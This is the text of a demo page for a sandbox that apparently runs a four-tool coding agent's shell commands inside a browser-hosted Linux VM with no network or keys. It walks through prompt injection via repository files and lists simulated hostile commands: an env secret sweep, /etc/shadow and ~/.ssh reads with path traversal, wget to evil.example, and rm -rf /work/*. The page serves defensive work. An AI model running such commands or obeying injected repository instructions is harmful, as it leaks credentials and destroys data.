(a) Guest env Secret Sweep
Not run yet.
Runs `env` inside Linux 7.x and scans for API keys, tokens, or credentials.
Browser-Delivered VMs · Minimalist Pi-Style Agent in Linux 7.x
Coding agents that invoke shell commands directly on a developer workstation share every host environment variable, SSH key, and outbound socket. Modeled on Mario Zechner's minimalist pi architecture, this harness exposes exactly 4 core tools (read, write, edit, bash), a tree-structured branching session, and SHA-256 digest-pinned extensions—while running every shell command inside an offline Unkernel Linux 7.x Dedicated Worker (112 MiB RAM, net: undefined, 9p MemoryFs at /work) with zero API keys inside the guest.
When an agent runs bash on your host machine, prompt injection in a repository file or build script can inspect env for API keys, read ~/.ssh, exfiltrate source code, or wipe local folders. Moving the execution loop into an offline browser-delivered Linux 7.x kernel isolates tool execution while keeping model inference and credentials outside the VM.
Zero-install coding agent sandboxes delivered by URL: inspect unfamiliar repositories, run real POSIX awk/sed/sh test suites, branch or rewind tool sessions across workspace snapshots, pin custom extensions by SHA-256 digest, and roll back destructive guest commands byte-for-byte in one click.
Click Boot Linux 7.x VM & Run 4-Tool Pi Loop to watch read, failing bash, surgical edit, and passing bash record into an interactive Session Tree. Then verify SHA-256 Extension Integrity, execute 4 Hostile Repo Red-Team Attacks (including rm -rf /work/*) with 1-Click Pre-Task Rollback, and review the native compatibility matrix.
Model inference runs in the host tab—never inside Linux. Guest env contains zero API keys and net: undefined disables outbound sockets.
Executes read (/work/calc.awk) → bash (sh /work/run-tests.sh → FAIL) → surgical edit (fix qty > 5 → qty >= 5) → bash (sh /work/run-tests.sh → PASS), recording each turn as a rewindable, branchable node in the Session Tree.
/work 9p MemoryFsBoot the VM or run the 4-Tool Pi Loop to inspect /work files mounted over 9p.
read / write / edit / bash on Active Branch)Select any node in the Session Tree to inspect its tool arguments, diff, stdout/stderr, and workspace SHA-256.
Extensions extend Pi's 4 core tools with custom helpers (here csv_audit), but only after host-side crypto.subtle.digest("SHA-256") matches the pinned manifest digest. A 1-byte tamper is rejected before tool registration.
Click "1. Verify & Register Pinned csv_audit" or "2. Attempt 1-Byte Tampered Extension" to compare SHA-256 digests.
Once csv_audit passes SHA-256 verification, run it inside Linux 7.x to audit /work/data.csv.
bash + Instant Rollback)
Simulates prompt-injected shell commands running directly inside the guest Linux 7.x VM: (a) env secret sweep, (b) ~/.ssh / /etc/shadow & path traversal, (c) wget https://evil.example, and (d) destructive rm -rf /work/*—followed by 1-Click Pre-Task Rollback restoring /work byte-for-byte.
env Secret SweepNot run yet.
Runs `env` inside Linux 7.x and scans for API keys, tokens, or credentials.
~/.ssh, /etc/shadow & TraversalNot run yet.
Tests path guard on `/work/../../etc/shadow` plus guest `/root/.ssh` and `/etc/shadow`.
wget https://evil.exampleNot run yet.
Attempts HTTPS exfiltration with guest `net: undefined`.
rm -rf /work/*Not run yet.
Wipes `/work` inside guest 9p MemoryFs so you can verify 1-Click Pre-Task Rollback.
Exact boundary between what runs today inside the bundled ~12.8 MB unkernel.wasm BusyBox image versus what requires a mounted Alpine/Debian EROFS distro, a Wisp WebSocket network proxy, or cross-origin isolation.
| Capability | Status | Browser VM (Unkernel Linux 7.x) | Native Pi CLI | Platform Requirement |
|---|
Credentials and model inference stay outside the Linux kernel; only structured 4-tool RPC frames cross the Worker boundary.
SubtleCrypto SHA-256 verification before registrationread/write/edit strictly inside /workread | write | edit | bash
0 API keys sent
unkernel.wasm (112 MiB RAM)net: undefined (no NIC, outbound sockets unreachable)MemoryFs mounted at /workread, write, edit, bash), tree-structured sessions, and explicit extension loading.fork(), /proc, and 9p mounts compiled to a single unkernel.wasm module running unmodified aarch64 binaries in browser Workers.WebAssembly.Suspending)MemoryFs/work without exposing host disks.SubtleCrypto.digest("SHA-256")llmchannel.dev)MessagePort router that grants OpenAI-compatible inference access to a user's chosen model without handing raw API keys to the page or guest VM.Splitting model orchestration and session history in the host tab from real Linux 7.x shell execution inside public/pi-vm-worker.js.
// Child process inherits host env, SSH keys, filesystem, and network
const res = execSync(toolArgs.command, {
cwd: process.cwd(),
env: process.env, // Exposes OPENAI_API_KEY, AWS_SECRET_ACCESS_KEY, ...
});
// Prompt-injected `rm -rf` or `curl` mutates host disk and exfiltrates secrets.
// public/pi-vm-worker.js — isolated Linux 7.x with 0 host keys & no network
const workFs = new MemoryFs(SEEDED_PROJECT_FILES);
const vm = await createKernel({
memoryMiB: 112,
mounts: { "/work": workFs },
net: undefined, // Outbound sockets unreachable at kernel level
});
const res = await vm.exec("sh", ["-c", command], { cwd: "/work" });
// public/lib/pi-tools.js
const check = await verifyPinnedExtension({
name: "csv_audit",
source: candidateSource,
expectedSha256: PINNED_EXTENSION_SHA256,
referenceSource: VERIFIED_EXTENSION_SOURCE,
});
if (!check.ok) {
throw new Error(check.diffDetail); // Rejected before registration
}
// Surgical exact-match edit (matches pi's edit tool contract)
const patch = applySurgicalEdit(
currentFileText,
' if (tier == "bulk" && qty > 5) {',
' if (tier == "bulk" && qty >= 5) {'
);